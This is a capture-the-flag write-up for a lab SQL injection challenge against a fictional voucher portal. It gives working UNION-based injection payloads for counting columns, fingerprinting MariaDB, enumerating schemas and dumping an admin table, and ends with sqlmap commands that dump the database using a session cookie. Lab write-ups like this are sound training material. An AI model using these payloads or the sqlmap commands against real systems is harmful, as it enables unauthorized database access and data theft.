Webverselabs Challenge Voucher Vault SQLi
Scenario :
Redzone is a 600-employee insurance brokerage in Charlotte that launched its internal Rewards portal in early 2024 to replace the gift-card spreadsheet HR had been running since the pandemic. The contractor who built the voucher search was paid by the milestone and shipped the feature the same week the procurement team approved a new redemption tier reserved for the executive floor. The launch-week security pass was scheduled, then bumped, then quietly dropped.
Solution :
We’re given a set of creds to start with , once we login :
Let’s navigate the app just like a normal user would. Check different endpoints ,then we check Burp’s history , we’re looking for parameters mainly , to be able to inject.
/Dashboard :
Just a static page, nothing we can work with.
/Redeem :
We have the possibility to search for Vouchers , looking at Burp :
I tried injecting the code parameter inside the POST request but that didn’t work , we couldn’t cause any internal errors.
Moving on , /Profile allows us to modify the email and password that we were given :
But this is pretty useless for us.
Finally we have the /Search Voucher:
We can try and inject the q parameter , just a simple ‘ or “ payload is enough to break the query and cause an internal error :
Perfect , we’re able to break the query , we can confirm that an SQLi exists if we can get rid of the error by adding another ‘ since this will close the query .
We see that we no longer have the error.
Another thing we can test is :
1
' OR 1=1-- -
If the app is vulnerable , this should return all vouchers :
Yes this confirms the SQLi , i have a section in my methdology for SQLi that i will be following :
1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#sqli-
Now first we need to identify the number of columns :
1
' order by 1-- -
We identify the column count using ORDER BY, incrementing the value until the query errors. ORDER BY errors when you reference a column position that doesn’t exist — so if ORDER BY 6 works but ORDER BY 7 errors, the query returns 6 columns.
We need this number because UNION requires exactly the same number of columns as the original query to work.
By the way either use order by and add numbers until you reach an error , or use ‘UNION SELECT 1,2,3,… , keep adding numbers until you no longer have an error : that’s the number of columns .
1
' UNION SELECT 1,2-- -
This returned an error which means the number of columns is higher .
1
' UNION SELECT 1,2,3-- -
Perfect it works at 3 , so column number is 3 , first we need to identify the DB used .
Here we will just test a bunch of commands , and depending on whether it works or we get an error , we should be able to identify the DB used .
1
2
' UNION SELECT @@version,2,3-- - : For MariaDB and MySQLand MSSQL .
' UNION SELECT banner,2,3 FROM v$version-- - : For PostgreSQL
This confirms that it is a MariaDB , if we check PayloadAllTheThings for payloads for MariaDB :
1
2
# List DB :
' UNION SELECT GROUP_CONCAT(schema_name),2,3 FROM information_schema.schemata-- -
We find 2 DB challapp has our flag , let’s list table names of this db :
```sql :
List Table Names :
’ UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=’chalapp’– -
1
2
3
4
5
6
7
<img width="1552" height="846" alt="image" src="https://github.com/user-attachments/assets/635f1950-e660-4137-bb1d-eb20cb523a34" />
Then we get the column names on the Admin_Voucher table :
```sql
' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_schema='chalapp' AND table_name='admin_vouchers'-- -
Finally we dump the entire thing :
1
' UNION SELECT GROUP_CONCAT(id,'|',code,'|',value,'|',expiry),2,3 FROM admin_vouchers-- -
Perfect we got our flag that way .
Now to automate all of this, we could’ve used SQLmap :)
Just make sure you add the cookie since we had to login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 sqlmap.py -u https://51bb4179-4327-voucher-vault-3bf12.challenges.webverselabs-pro.com/search.php?q= --random-agent --batch --cookie="PHPSESSID=6d997fae6d56680205e3f5ab83f0af6f" --threads=10```
<img width="1721" height="645" alt="image" src="https://github.com/user-attachments/assets/ee3b816a-3683-4956-84fe-519192c1261b" />
We just let it dump everything for us :
```bash
python3 sqlmap.py -u "https://51bb4179-4327-voucher-vault-3bf12.challenges.webverselabs-pro.com/search.php?q=test" \
--cookie="PHPSESSID=6d997fae6d56680205e3f5ab83f0af6f" \
--dbms=MySQL \
--random-agent \
--batch \
--dump \
--threads=10
That’s it for this challenge. See you in the next one :)